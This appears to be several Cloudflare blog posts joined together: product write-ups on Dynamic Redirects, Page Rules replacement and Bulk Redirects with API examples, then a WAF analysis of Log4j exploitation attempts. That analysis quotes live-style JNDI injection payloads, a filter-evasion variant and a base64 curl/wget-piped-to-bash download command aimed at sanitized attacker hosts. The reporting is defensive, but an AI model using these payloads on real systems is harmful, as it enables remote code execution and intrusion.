The Internet is a dynamic place. Websites are constantly changing as technologies and business practices evolve. What was front-page news is quickly moved into a sub-directory. To ensure website visitors continue to see the correct webpage even if it has been moved, administrators often implement URL redirects.

A URL redirect is a mapping from one location on the Internet to another, effectively telling the visitor's browser that the location of the page has changed, and where they can now find it. This is achieved by providing a virtual ‘link’ between the content’s original and new location.

URL Redirects have typically been implemented as Page Rules within Cloudflare, however Page Rules only match on the URL, rather than other elements such as the visitor's source country or preferred language. This limitation meant customers with a need for more dynamic URL redirects had to implement alternative solutions such Cloudflare Workers to achieve their goals.

To simplify the management of these more complex use cases we have created Dynamic Redirects. With Dynamic Redirects, users can redirect visitors to another webpage or website based upon hundreds of options such as the visitor's country of origin or language, without having to write a single line of code.

For nine years users were limited to 125 URL redirects per zone. This limitation meant those with a need for more URL redirects had to implement alternative solutions such Cloudflare Workers to achieve their goals.

In December 2021, we launched Bulk Redirects, allowing up to 100,000 URL redirects per account at the time. In April 2022 we increased this maximum number to over six million URL redirects per account. However, there is still a gap in the ‘URL redirect’ product unfulfilled. Until now.

Bulk Redirects, much like the ‘Forwarding URL’ Page Rule, are prescriptive URL redirects. You tell us what URL to look for, and where to redirect the user to when they visit it. We can support this use case at a huge scale.

That's a simple concept to understand, however user needs have evolved. What if a user wanted to redirect visitors to a localized version of the requested page based on their preferred language? What if a user wanted to redirect visitors to their local subsidiary on the website? Or direct them to an optimized site when they visit from a mobile device? Suddenly, this well understood concept doesn’t work - and they have to deploy code in Workers to solve what is actually a common problem. And common problems deserve to be productized.

This is where Dynamic Redirects can help. The new product provides the same consistent user interface as Transform Rules, Custom Rules, Bulk Redirects, etc. and provides a new action allowing for the target URL to be dynamically created, much like the dynamic rewrite action offered in Transform Rules.

This dynamic action frees the user from having to define explicitly what the target URL should look like, and instead provides them with a full gamut of fields and functions to custom generate the target URL based upon the parameters of the request. For example, rather than redirecting all traffic for www.example.com/shop to www.example.com/en/shop, users can conceptually redirect the traffic to www.example.com/{PREFERRED_LANGUAGE}/shop (not actual syntax!). With this, traffic from a browser with a preferred language of French will be redirected to www.example.com/fr/shop, likewise those with a preferred language of German will be redirected to www.example.com/de/shop.

The other big difference between Dynamic Redirects and  Page Rules is in the filtering. Page Rules are limited to filtering on a URL, or a URL with asterisks as wildcards. Dynamic Redirects is built atop our lightning-fast Rulesets Engine, which also runs products such as Transform Rules, Custom Rules (WAF), Bulk Redirects and API Shield.

Due to this, Dynamic Redirects offers almost the entire suite of Ruleset Engine fields for use in filtering; from http.request.full_uri for the whole URL, to ip.geoip.country (where is the visitor located) and http.request.accepted_languages[] (the language preferred by the visitor). The possibilities are endless.

Users can also now use logical operators such as ‘OR’. Where previously, if a user wanted to redirect five distinct URLs to the same URL they would need to deploy five Page Rules. Today, they can simply use an ‘OR’ to consolidate this use case into just one Dynamic Redirect rule:

We can further simplify this use case in the future by adding hostname lists, allowing users to add URLs to a list and reference it from within the rule expression, similar to IP Lists. This allows an expression like (http.request.full_uri in $vanity_urls), for example.

Page Rules are used to set everything from configuration and caching behaviour to header modification and also URL redirection (Forwarding URL). This means that users tend to run out of available rules quickly.

To address this, we’re matching the Page Rule quota in each of the four new products that are being announced today. This means where in Page Rules an Enterprise customer would get 125 Page Rules to share amongst the aforementioned functions, in Dynamic Redirects they have 125 rules just for redirects. This number can be increased for Enterprise customers, also.

We’re also increasing the quota for free plans; where today free plans get three Page Rules, they will now get 10 rules for dynamic redirects, along with each of the other three products (cache, origin, config rules). That's a net increase of 37 additional rules!

Users can now get more out of their Cloudflare setup, being more specific about when traffic is redirected, optimizing cache and adjusting which settings are and aren't applied - without having to trade off between these areas due to a limit in rules quota.

One of the examples covered earlier is being able to redirect visitors to localized content depending on their preferred language.

This can be done by analyzing the ‘Accept-Language’ header sent by the browser, which is stored as an array in the field http.request.accepted_languages[]. This field is an array of the values received by Cloudflare within the Accept-Language HTTP request header, sorted in descending weight order. This header is calculated based on the preferences set by the visitor in the ‘Language’ section of their web browser.

For example, if the visitors browser sends an 'Accept-Language' header containing "Accept-Language: fr-CH, fr;q=0.8, en;q=0.9, de;q=0.7, *;q=0.5", then the field http.request.accepted_languages[0] would contain "en", with http.request.accepted_languages[1] containing "fr" and so forth.

With this information, we can create a dynamic redirect using the action:

With this rule in place, traffic from visitors with a preferred language of English (en) will be redirected to www.example.com/en/shop. The rule can be duplicated for other languages also, ensuring those with a preferred language of French (fr) will be redirected to www.example.com/fr/shop.

There are so many use cases for Dynamic Redirects we couldn't fit them all in this blog.

Other possible use cases include mobile redirects, redirects based on cookies, redirects to different endpoints based on request headers for live testing. The potential list is huge, and we can't wait to hear what you come up with. Try it today!

If you want to read more, refer to our documentation.

Page Rules is one of our most well-used products. Adopted by millions of users, it is used for configuring everything from cache to security levels. It is the ‘If This Then That’ of Cloudflare. Where the ‘If…’ is a URL, and the ‘Then That’ is changing how we handle traffic to specific parts of a ‘zone’. But it's not without its limitations.

Page Rules can only trigger on a URL or URL pattern. There is a maximum of 125 Page Rules per zone. Page Rules are also tricky to debug. Even the idea of a “Page” sounds rather old-fashioned now.

We’re replacing Page Rules with four new dedicated products, offering increased rules quota, more functionality, and better granularity. These products are available immediately for testing. Page Rules is not going away yet, but we do anticipate being able to formally begin the end-of-life process soon.

In the 10 years since it launched, Page Rules has become a well established product, and a very well adopted one. One million Page Rules have been deployed in the past three months alone.

Page Rules are used to tune how long files should be cached. Page Rules are used to override zone-wide settings for certain URLs. Page Rules are used to create simple URL redirects. Page Rules are used to selectively add/remove HTTP headers. Page Rules is a multitool of a product.

Photo by Andrey Matveev on Unsplash

Like multitools and other generalist products, Page Rules does a good job at many things, but is not best-of-breed at anything. This is the trade-off of generalism. As we have grown as a company our customers have rightfully demanded more. Filtering on URL-alone is no longer sufficient; users are demanding more - and today we are delivering.

Over the last two years we have been working on the future of Page Rules and distilling hundreds of pieces of feedback into common themes, such as:

1. I need more than 125 Page Rules

2. I need to be able to trigger Page Rules on more than just the URL

3. I need to be able to use regular expressions in my Page Rules

4. It's hard for me to understand how different Page Rules interact one another

5. Page Rules is hard to debug

6. I want more actions in Page Rules

Analyzing these themes we came to the conclusion that the best thing for Page Rules was to disassemble it and create new discrete products, each of which could be best-of-breed for their relevant areas. This dissolution would also provide better clarity regarding interoperation (cache vs configuration vs …), and make debugging simpler.

Today, we announce those new products:

1. Cache Rules: A dedicated product for setting and tuning ‘everything caching’.

2. Configuration Rules: A dedicated product for setting and selectively enabling, disabling and overriding zone-wide settings.

3. Dynamic Redirects: Like ‘Forwarding URL’ but turned up to 11. Redirect based on the visitors country, their preferred language, their device type, use regular expressions (plan level dependant) and more.

4. Origin Rules: A dedicated product for ‘where does this traffic go where it leaves Cloudflare’. Not only have we added host header and resolve override into this new product (ENT only), we’ve also productized another common Workers use case by enabling customers to selectively override the destination port. We’ve also added the ability to override the Server Name Indication (SNI).

All four of these products are available for use now via the dashboard, API and Terraform - and sitting alongside Transform Rules provide the replacement suite of products that will eventually enable an Page Rules end-of-life announcement.

We have dedicated blogs for each of these product launches with more information on what they offer and problems they address.

One of the main benefits of this new product suite is clarity.

Page Rules is a black box, where traffic goes in, ‘things happen’, and traffic comes out. It's hard to debug the interplay between cache, configuration, header modification etc and it can vary from zone to zone as it's entirely user defined.

By having discrete, separate areas per ‘function’, it makes visualizing the flow of a HTTP request much easier:

Rather than a single lozenge of Page Rules, we now have visibility that Origin Rules will run first, then Cache Rules, then Configuration Rules, and finally Dynamic Redirects. This means we will modify host headers first, before tuning cache settings. And we will tune the cache parameters before we modify which settings are enabled for the specific traffic.

We have integrated these new products into the Traffic Sequence dashboard element also.

(For zones using both Page Rules and this new suite of products: The new products will take precedence over Page Rules. This means that Page Rules will be overridden if a conflict occurs).

One of the limitations of Page Rules was how each Page Rule was stored and executed on our backend architecture. We are unable to offer more than 125 Page Rules per zone before we begin to see a performance hit - latency on HTTP requests begins to increase as evaluating them vs the Page Rules takes longer and longer. To combat this limitation users moved simple workloads to Workers, or split the zone into multiple sub domains, each with a 125 Page Rules quota. Neither of these are ideal for the customer.

To combat this limitation we have built all of the replacement products atop our lightning-fast Rulesets Engine, which also runs products such as Transform Rules, Custom Rules (WAF), Bulk Redirects and API Shield.

This allows us to offer much more quota to customers, as this engine is built to scale well beyond 125 rules per product. The table below summarizes the before and after impact of these new products, showing the default rules quota per plan:

Additional rules cannot be purchased for these new products.

This means zone’s on the Enterprise plan now have a minimum of 500 rules to use where before they had 125 via Page Rules. For Enterprises the quota for the new products is negotiable. Pro plan zones go from 20 Page Rules to 100.  Combined with the fine-grained control that the ruleset engine offers, these changes allow customers to customize their zone’s traffic to the finest of margins.

The other benefit from building all of these products on the Rulesets Engine is extensibility. Currently there are over 30 products that are built and running on the Rulesets Engine. Each of these products is essentially a logical bucket called a ‘phase’ which contains a single ruleset scoped to that product. Each phase is restricted to specific actions and fields, for example the field cf.bot_management.score is unavailable in http_request_transform as we have not calculated the bot score at the time we perform URL rewrites. Also, only the rewrite action is permitted. Whereas in Origin Rules (http_request_origin) we only allow the action route

When we create new capabilities for a product that is built atop the Rulesets Engine it is trivially simple for us to extend that new capability to other products at a later date.

For example, we added a new ‘field’, http.request.accepted_languages to Transform Rules earlier in the year. Until recently this was only available in Transform Rules. However, as both products are built on the Rulesets Engine it was trivial to enable this feature for Dynamic Redirects. This allows customers to perform URL redirects based on the visitor's language preference, and the cost to us from an engineering perspective is negligible as the field is already implemented.

This also means in the future should a new field be created for Cache Rules due to a customer request, e.g. http.request.super_cool_field, in a matter of clicks we can enable this field for any of the other 30 products rather than have to duplicate effort across multiple platforms.

Simply put, the more products we build on top of the Rulesets Engine, the faster we can move and the more functionality we can put into users hands.

The most important benefit of all is consistency. Each of these products has a consistent and predictable API. A consistent and predictable Terraform configuration, and a consistent and predictable user experience in the dashboard. The ruleset engine allows us to keep everything the same except for the ‘action’. The filtering stays the same, the API stays the same, the UI stays (largely) the same, the only change is the ‘…then’, the action section of the rule.

This ensures that as a user when you are clicking around the dashboard setting up a new zone you aren't having to learn each individual product’s page and how to navigate it. The only part you need to learn is what makes that product unique, its actions:

Finally, when we add a new product, extending the Terraform provider to support it is trivial. That consistent experience has been a north star for us during this project and will continue to be in the future.

We are replacing Page Rules with a new suite of products, each built to be best-of-breed and put more power into the hands of our users.

Read more about the new products in each of their dedicated blogs. Then, try them for yourself!

The Internet is a dynamic place. Websites are constantly changing as technologies and business practices evolve. What was front-page news is quickly moved into a sub-directory. To ensure website visitors continue to see the correct webpage even if it has been moved, administrators often implement URL redirects.

A URL redirect is a mapping from one location on the Internet to another, effectively telling the visitor's browser that the location of the page has changed, and where they can now find it. This is achieved by providing a virtual ‘link’ between the content’s original and new location.

URL Redirects have typically been implemented as Page Rules within Cloudflare, up to a maximum of 125 URL redirects per zone. This limitation meant customers with a need for more URL redirects had to implement alternative solutions such Cloudflare Workers to achieve their goals.

To simplify the management and implementation of URL redirects at scale we have created Bulk Redirects. Bulk Redirects is a new product that allows an administrator to upload and enable hundreds of thousands of URL redirects within minutes, without having to write a single line of code.

Mail forwarding is a product offered by postal services such as USPS and Royal Mail that allows you to continue to receive letters and parcels even if they are sent to an address where you no longer reside.

The postal services achieve this by effectively maintaining a register of your new location and your old location. This allows the systems to detect ‘this letter is for Sam Marsh at address A, but he now lives at address B, therefore send the mail there’.

Photo by Christian Lue on Unsplash

This problem can be solved by manually updating my bank, online shops, etc. and having them send the parcels and letters directly to my new address. However, that assumes I know of every person and business who has my address. And it also relies on those people to remember I moved address and make updates on their side. For example, Grandma Marsh might have forgotten about my new address — I’ve moved a lot — and she may send my birthday card to my old address. Or all those Christmas cards from people who I don't speak with regularly. Those will go to my old address also.  To solve this, I can use mail forwarding to ensure I still receive my cards and other mail, even though I no longer live at that address.

URL redirects are the Internet equivalent of mail forwarding.

URL redirects are effectively a table with two columns; what traffic am I looking for, and where should I send that traffic to? This mapping allows an administrator to define "whenever visitors go to _[https://www.cloudflare.com/bots](https://www.cloudflare.com/bots)_ I want to redirect them to the new location _[https://www.cloudflare.com/pg-lp/bot-mitigation-fight-mode](https://www.cloudflare.com/pg-lp/bot-mitigation-fight-mode)_".

With this technology, our sales and marketing teams can use the vanity URL all across the Internet, safe in the knowledge that should the backend systems change they won’t need to go to all the places this URL has been posted and update it. Instead, the intermediary system that handles the URL redirects can be updated. One location. Not thousands.

URL redirects are used to solve a number of use cases. One such common use case is to use URL redirects to force all visitors to connect to the website over a secure HTTPS connection, instead of via plain HTTP, to improve security. It's such a common use case we created a toggle in the Cloudflare dashboard, “Always use HTTPS”, which redirects all HTTP requests to HTTPS when enabled.

URL redirects are also used for vanity domains and hyperlinks. In these scenarios, URL redirects are deployed to provide a mapping of short, user-friendly URLs to long, server-friendly URLs.  Not only are shorter URLs more memorable, but they are better scoring from an SEO perspective. According to Backlinko, ‘Excessively long URLs may hurt a page’s search engine visibility. In fact, several industry studies have found that short URLs tend to have a slight edge in Google’s search results.’.

Photo by Hal Gatewood on Unsplash

Another use case is where a company may have a local domain for each of their markets, which they want to redirect back to the main website, e.g., redirect www.example.fr and www.example.de to www.example.com/eu/fr and www.example.com/eu/de, respectively.

This also covers company acquisition, where a company is acquired and the acquiring company wants to redirect hyperlinks to the relevant pages on their own website, e.g., redirect www.example.com to www.companyB.com/portfolio/example.

Finally, one of the most common use cases for URL redirects is to maintain uptime during a website migration. As companies migrate their websites from one platform to another, or one domain to another, URL redirects ensure visitors continue to see the correct content. Without these URL redirects, hyperlinks in emails, blogs, marketing brochures, etc. would fail to load, potentially costing the business revenue in lost sales and brand damage. For example, www.example.com/products/golf/product-goes-here would redirect to the new website at products.example.com/golf/product-goes-here.

Ensuring these URL redirects are executed correctly is often the job of the reverse proxy — a server which sits between the client and the origin whose job is, amongst many others, to re-route received traffic to the correct destination.

For example, when using NGINX, a popular web server, the administrator would have a line in the config similar to the one below to implement a URL redirect:

`rewrite ^/oldpage$ http://www.example.com/newpage permanent;`

Historically, these web servers were located physically within a company's data center. Administrators then had full control over the URLs received, and could create the redirect rules as and when needed.

As the world rapidly migrates on-premise applications and solutions to the cloud, administrators can find themselves in a situation where they can no longer do what they previously could. Not being responsible for the origin has a number of benefits, but it also comes with drawbacks such as lack of ‘control’. Previously, an administrator could quickly add a few config lines to the web server in front of their ecommerce platform. Moving to an online hosted platform makes this much more difficult to do.

As such, administrators have moved to platforms like Cloudflare where functionality such as URL redirects can be implemented in the cloud without the need to have administrator access to the origin.

The first way to implement a URL Redirect in Cloudflare is via a Forwarding URL Page Rule. Users can create a Page Rule which matches on a specific URL and redirects matching traffic to another specific URL, along with a status code — either a permanent redirect (301) or a temporary redirect (302):

Another method is to use Cloudflare Workers to implement URL redirects, either individually or as a map. For example, the code below is used to create a URL redirect map which runs when the Worker is invoked:

const redirectMap = new Map([
 ["/bulk1", "https://" + externalHostname + "/redirect2"],
 ["/bulk2", "https://" + externalHostname + "/redirect3"],
 ["/bulk3", "https://" + externalHostname + "/redirect4"],
 ["/bulk4", "https://google.com"],
])

This snippet is taken from the Cloudflare Workers examples library and can be used to scale beyond the 125 URL redirect limit of Page Rules. However, it does require the administrator to be comfortable working with code and correctly configuring their Cloudflare Workers.

Speaking with Cloudflare users about URL redirects and their experience with our product offerings, “Give me a product which lets me upload thousands of URL redirects to Cloudflare via a GUI” was a very common request. Customers we interviewed typically wanted a simple way to upload a list of ‘from,to,response code’ without having to write a single line of code. And that's what we are announcing today.

Bulk Redirects is now available for all Cloudflare plans. It is an account/organization-level product capable of supporting hundreds of thousands of URL redirects, all configured via the dashboard without having to write a single line of code.

The system is implemented in two parts. The first part is the Bulk Redirect List. This is effectively the redirect map, or ‘edge dictionary’, where users can upload their URL redirects:

Each URL redirect within the list contains three main elements. The first two elements are Source URL (the URL we are looking for) and Target URL (the URL we are going to redirect matching traffic to).

There is also the Status code. This is the ‘type’ of redirect. In addition to 301 (Moved Permanently) and 302 (Moved Temporarily) redirects, we have added support for the newer 307 (Temporary Redirect) and 308 (Permanent Redirect) redirect status codes.

We have added support for specifying destination ports within the Target URL field also, allowing URL redirects to non-standard ports, e.g., “Target URL: www.example.com:8443”.

If you have many URL redirects, you can upload them via a CSV file.

There are also four additional parameters available for each individual URL redirect.

Firstly, we have added two options to replace the ambiguity and confusion caused by the use of asterisks as wildcards. Take this source URL as an example: *.example.com/a/b. Would you expect www.example.com/a/b to match? How about example.com/a/b, or www.example.com/path*? Asterisks used as wildcards cause confusion and misunderstanding, and also increase the cost of implementation and maintenance from an engineering perspective. Therefore, we are not implementing them in Bulk Redirects.

Instead, we have added two discrete options: Include subdomains and Subpath matching. The Include subdomains option, once enabled, will match all subdomains to the left of the domain portion of the URL as well as the domain specified. For example, if there is a URL redirect with a source URL of example.com/a then traffic to b.example.com/a and c.b.example.com/a will also be redirected.

The Subpath matching option focuses on the opposite end of the URL. If this option is enabled, the redirect applies to the URL as well as all its subpaths. For example, if we have a URL redirect on www.example.com/foo with subpath matching enabled, we will match on that specific URL as well as all subpaths, e.g., www.example.com/foo/a, www.example.com/foo/a/, ` www.example.com/foo/a/b/c\`, etc., but not www.example.com/foobar.

These options provide a tremendous amount of flexibility and granularity for each URL redirect. However, for most use cases only the source URL, target URL, and status code options will need to be set.

Secondly, we have added two options relating to retaining portions of the original HTTP request: Preserve path suffix and Preserve query string. If subpath matching is enabled, Preserve path suffix can be used to copy the URI path from the originally requested URL and add it to the destination URL. For example, if there is a URL redirect of Source URL: example.co.uk, Target URL: www.example.com/a, then requests to example.co.uk/target will be redirected to www.example.com/a/target with both options enabled. Preserve query string can be used independently of the other options, and carries forward the URI query from the originally requested URL to the new URL.

Lists by themselves do not provide any redirection, they are simply the ‘lookup table’. To enable them we need to reference them via a Bulk Redirect Rule.

The rules themselves are very simple. By default, the user experience is to provide a name for the rule, a description, and select the Bulk Redirect List that should be invoked.

For users who require more granularity and control there are additional settings available under the Advanced options toggle. Within this section there are two editable sections:  Expression and Key.

The first field, Expression, specifies the conditions that must be met in order for the rule to run. By default, all URL redirects of the specified list will apply.

The second field, Key, is closely related to the expression. The key is used in combination with the specified list to select the URL redirect to apply. The field used for the key should always be the same as the field used in the expression, i.e., the key should be http.request.full_uri if the field in the expression is http.request.full_uri, or conversely, the key should be raw.http.request.full_uri if the field in the expression is raw.http.request.full_uri.

There are two main use cases for modifying these settings. Firstly, users can edit these options to increase specificity in the trigger, e.g., ip.src.country == "GB" and http.request.full_uri in $redirect_list. This is useful for ensuring Bulk Redirect Lists are only applied when a visitor comes from specific countries, subnets, or ASNs — or also only applying a URL redirect list if the visitor is a verified bot, or the bot score is >35.

Secondly, users can edit these options to amend the URL being matched and used as a lookup in the given list, i.e., the user may choose to have URL redirects in their list(s) specifically for URLs that would be normalized, e.g., URLs containing specific percent-encoding.  To ensure these URL redirects still trigger, the settings in Advanced options should be used to edit the expression and key to use the raw.http.request.full_uri field instead.

Another way to manage bulk redirects is via our API. Customers wishing to automate the addition of bulk redirects can use the API to either simply add URL redirects to an existing list, or automate the entire workflow — creating a list, adding URL redirects to the list, and enabling the list via a new redirect rule.

There are three main calls when creating bulk redirects via the API:

1. Create the redirect list

2. Load with URL redirects

3. Enable via a rule (You will also need to create the ruleset if doing this for the first time).

For step 1, first create a mass redirect list via the API call:

curl --location --request POST 'https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/rules/lists' \
--header 'X-Auth-Email: <EMAIL_ADDRESS>' \
--header 'Content-Type: application/json' \
--header 'X-Auth-Key: <API_KEY>' \
--data-raw '{
 "name": "my_redirect_list_2",
 "description": "My redirect list 2",
 "kind": "redirect"
}'

The output will look similar to:

{
  "result": {
    "id": "499b94da726d4dbc9ce6bf6c96ef8b6a",
    "name": "my_redirect_list_2",
    "description": "My redirect list 2",
    "kind": "redirect",
    "num_items": 0,
    "num_referencing_filters": 0,
    "created_on": "2021-12-04T06:43:43Z",
    "modified_on": "2021-12-04T06:43:43Z"
  },
  "success": true,
  "errors": [],
  "messages": []
}

Capture the value of “id”, as this is the list ID we will then add URL redirects to.

Next, in step 2 we will add URL redirects to our newly created list by executing a POST call to the ID we captured previously - with our URL redirects in the body:

curl --location --request POST 'https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/rules/lists/<LIST_ID>/items' \
--header 'X-Auth-Email: <EMAIL_ADDRESS>' \
--header 'Content-Type: application/json' \
--header 'X-Auth-Key: <API_KEY>' \
--data-raw '[
 {
   "redirect": {
     "source_url": "www.example.com/a",
     "target_url": "https://www.example.net/a"
   }
 },
 {
   "redirect": {
     "source_url": "www.example.com/b",
     "target_url": "https://www.example.net/a/b",
     "status_code": 307,
     "include_subdomains": true
   }
 },
 {
   "redirect": {
     "source_url": "www.example.com/c",
     "target_url": "www.example.net/c",
     "status_code": 307,
     "include_subdomains": true
   }   
 }
]'

The output will look similar to:

{
  "result": {
    "operation_id": "491ab6411acf4a12a6c72df1385b095a"
  },
  "success": true,
  "errors": [],
  "messages": []
}

In step 3 we enable this list by creating a new mass redirect rule within the mass redirect account-level ruleset.

Note, if this is the first time you are creating a redirect rule you will need to use a different API call to create the ruleset. See the documentation here for more details. All subsequent updates to the rulesets are made by calls similar to below.

Firstly, we need to find our account-level rulesets ID. To do this we need to get a list of all account-level rulesets and look for the ruleset with the phase http_request_redirect:

curl --location --request GET 'https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/rulesets \
--header 'X-Auth-Email: <EMAIL_ADDRESS>' \
--header 'Content-Type: application/json' \
--header 'X-Auth-Key: <API_KEY>'

The output will look similar to:

{
   "result": [
       {
           "id": "efb7b8c949ac4650a09736fc376e9aee",
           "name": "Cloudflare Managed Ruleset",
           "description": "Created by the Cloudflare security team, this ruleset is designed to provide fast and effective protection for all your applications. It is frequently updated to cover new vulnerabilities and reduce false positives.",
           "source": "firewall_managed",
           "kind": "managed",
           "version": "34",
           "last_updated": "2021-10-25T18:33:27.512161Z",
           "phase": "http_request_firewall_managed"
       },
       {
           "id": "4814384a9e5d4991b9815dcfc25d2f1f",
           "name": "Cloudflare OWASP Core Ruleset",
           "description": "Cloudflare's implementation of the Open Web Application Security Project (OWASP) ModSecurity Core Rule Set. We routinely monitor for updates from OWASP based on the latest version available from the official code repository",
           "source": "firewall_managed",
           "kind": "managed",
           "version": "33",
           "last_updated": "2021-10-25T18:33:29.023088Z",
           "phase": "http_request_firewall_managed"
       },
       {
           "id": "5ff4477e596448749d67da859230ac3d",
           "name": "My redirect ruleset",
           "description": "",
           "kind": "root",
           "version": "1",
           "last_updated": "2021-12-04T06:32:58.058744Z",
           "phase": "http_request_redirect"
       }
   ],
   "success": true,
   "errors": [],
   "messages": []
}

Our redirect ruleset is at the bottom of the output. Next we will add our new bulk redirect rule to this ruleset:

curl --location --request PUT 'https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/rulesets/<RULESET_ID> \
--header 'X-Auth-Email: <EMAIL_ADDRESS>' \
--header 'Content-Type: application/json' \
--header 'X-Auth-Key: <API_KEY> \
--data-raw '{
     "rules": [
   {
     "expression": "http.request.full_uri in $my_redirect_list",
     "description": "Bulk Redirect rule 2",
     "action": "redirect",
     "action_parameters": {
       "from_list": {
         "name": "my_redirect_list_2",
         "key": "http.request.full_uri"
       }
     }
   }
 ]
}'

The output will look similar to:

{
  "result": {
    "id": "5ff4477e596448749d67da859230ac3d",
    "name": "My redirect ruleset",
    "description": "",
    "kind": "root",
    "version": "2",
    "rules": [
      {
        "id": "615cf6ac24c04f439138fdc16bd20535",
        "version": "1",
        "action": "redirect",
        "action_parameters": {
          "from_list": {
            "name": "my_redirect_list_2",
            "key": "http.request.full_uri"
          }
        },
        "expression": "http.request.full_uri in $my_redirect_list",
        "description": "Bulk Redirect rule 2",
        "last_updated": "2021-12-04T07:04:16.701379Z",
        "ref": "615cf6ac24c04f439138fdc16bd20535",
        "enabled": true
      }
    ],
    "last_updated": "2021-12-04T07:04:16.701379Z",
    "phase": "http_request_redirect"
  },
  "success": true,
  "errors": [],
  "messages": []
}

With those API calls executed, our new list is created, loaded with URL redirects and enabled by the bulk redirect rule. Visitors to the URLs specified in our list will now be redirected appropriately.

One of the driving forces behind this product is the desire to make life easier for those customers with a large number of zones on Cloudflare. For these customers, URL redirects are a pain point when using Page Rules, as they need to navigate into each zone and configure URL redirects one at a time. This doesn't scale very well.

Bulk Redirects add real value for customers in this situation. Instead of having to navigate into 400 zones and create one or two Page Rules for each, an administrator can now create and upload a single Bulk Redirect List, which contains all the URL redirects for the zones under management.

This means that if the customer simply wants 399 of those 400 zones to redirect to the "primary zone", they can create a bulk redirect list with 399 entries, all pointing to example.com, and enable the Subpath matching and Include subdomains options on each. This vastly simplifies the management of the estate.

The same premise also applies to SSL for SaaS customers. For example, if example.com has 20 custom hostnames in their zone, customers can now create a Bulk Redirect List and Rule for each custom hostname, grouping each customer’s URL redirects into their own logical buckets.

Bulk Redirects is a game changer for companies with a large number of zones and customers under management.

Bulk Redirects are available for all accounts. The packaging model for Bulk Redirects closely resembles that of “IP Lists”. Accounts are entitled to a set number of Edge Rules (from which “Bulk Redirect Rules” draws down), Bulk Redirect Lists, and URL Redirects depending on the highest Cloudflare plan within their account.

For example, an account with ten zones, all on the Free plan, would be entitled to 15 Edge Rules, 5 Bulk Redirect Lists, and 20 URL Redirects that can be stored within those lists.

An account with one Pro zone and 2 Free plan zones would be entitled to 15 Edge Rules, 5 Bulk Redirect Lists, and 500 URL Redirects that can be stored within those lists.

Enterprise customers have a default of 10,000 URL Redirects to be used across 25 lists. However, these numbers are negotiable on enquiry.

We intend to make a number of incremental improvements to the product in the coming months, specifically to the list experience to allow for the editing of URL redirects and also for searching within lists.

In the near future we intend to bring to market a product to fulfill the other common request for URL redirects, and deliver ‘Dynamic URL Redirects’. Whilst Bulk Redirects supports hundreds of thousands of URL redirects, those URL redirects are relatively prescriptive — from a.com/b to b.com/a, for example.  There is still a requirement for supporting more complex, rich URL redirects, e.g., device-specific URL redirects, country-specific URL redirects, URL redirects that allow regular expressions in their target URL, and so forth. We aspire to offer a full range of functionality to support as many use cases as possible.

Bulk Redirects can be used to improve operations, simplify complex configurations, and ease website management, amongst many other use cases.  Try out Bulk Redirects yourself today.

As we now have many hours of data on scanning and attempted exploitation of the vulnerability we can start to look at actual payloads being used in wild and statistics. Let’s begin with requests that Cloudflare is blocking through our WAF.

We saw a slow ramp up in blocked attacks this morning (times here are UTC) with the largest peak at around 1800 (roughly 20,000 blocked exploit requests per minute). But scanning has been continuous throughout the day. We expect this to continue.

We also took a look at the number of IP addresses that the WAF was blocking. Somewhere between 200 and 400 IPs appear to be actively scanning at any given time.

So far today the largest number of scans or exploitation attempts have come from Canada and then the United States.

Lots of the blocked requests appear to be in the form of reconnaissance to see if a server is actually exploitable. The top blocked exploit string is this (throughout I have sanitized domain names and IP addresses):

${jndi:ldap://x.x.x.x/#Touch}

Which looks like a simple way to hit the server at x.x.x.x, which the actor no doubt controls, and log that an Internet property is exploitable. That doesn’t tell the actor much. The second most popular request contained this:

Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua

This appeared in the User-Agent field of the request. Notice how at the end of the URI it says /ua. No doubt a clue to the actor that the exploit worked in the User-Agent.

Another interesting payload shows that the actor was detailing the format that worked (in this case a non-encrypted request to port 443 and they were trying to use http://):

${jndi:http://x.x.x.x/callback/https-port-443-and-http-callback-scheme}

Someone tried to pretend to be the Googlebot and included some extra information.

Googlebot/2.1 (+http://www.google.com/bot.html)${jndi:ldap://x.x.x.x:80/Log4jRCE}

In the following case the actor was hitting a public Cloudflare IP and encoded that IP address in the exploit payload. That way they could scan many IPs and find out which were vulnerable.

${jndi:ldap://enq0u7nftpr.m.example.com:80/cf-198-41-223-33.cloudflare.com.gu}

A variant on that scheme was to include the name of the attacked website in the exploit payload.

${jndi:ldap://www.blogs.example.com.gu.c1me2000ssggnaro4eyyb.example.com/www.blogs.example.com}

Some actors didn’t use LDAP but went with DNS. However, LDAP is by far the most common protocol being used.

${jndi:dns://aeutbj.example.com/ext}

A very interesting scan involved using Java and standard Linux command-line tools. The payload looks like this:

${jndi:ldap://x.x.x.x:12344/Basic/Command/Base64/KGN1cmwgLXMgeC54LngueDo1ODc0L3kueS55Lnk6NDQzfHx3Z2V0IC1xIC1PLSB4LngueC54OjU4NzQveS55LnkueTo0NDMpfGJhc2g=}

The base64 encoded portion decodes to a curl and wget piped into bash.

(curl -s x.x.x.x:5874/y.y.y.y:443||wget -q -O- x.x.x.x:5874/y.y.y.y:443)|bash

Note that the output from the curl/wget is not required and so this is just hitting a server to indicate to the actor that the exploit worked.

Lastly, we are seeing active attempts to evade simplistic blocking of strings like ${jndi:ldap by using other features of Log4j. For example, a common evasion technique appears to be to use the ${lower} feature (which lowercases characters) as follows:

${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x

At this time there appears to be a lot of reconnaissance going on. Actors, good and bad, are scanning for vulnerable servers across the world. Eventually, some of that reconnaissance will turn into actual penetration of servers and companies. And, because logging is so deeply embedded in front end and back end systems, some of that won't become obvious for hours or days.

Like spores quietly growing underground some will break through the soil and into the light.

Cloudflare’s security teams are working continuously as the exploit attempts evolve and will update WAF and firewall rules as needed.

“Which came first, the chicken or the egg?” It’s one of life's great questions. There are hundreds of articles published which conclude with eggs predating chickens by millions of years. Unfortunately, Cloudflare users don't have New Scientist on hand to answer similar questions.

Which runs first, Firewall Rules or Workers? Page Rules or Transform Rules? Whilst not as philosophically challenging, the answers to these questions are key to setting up your Cloudflare zone correctly. Answering them has become increasingly difficult as more and more functionality is added, thanks to our incredible rate of shipping products. What was once a relatively easy to understand traffic flow exploded in complexity with the introduction of products such as Workers, Load Balancing Rules and Transform Rules. And this big bang of product announcements is only accelerating each year.

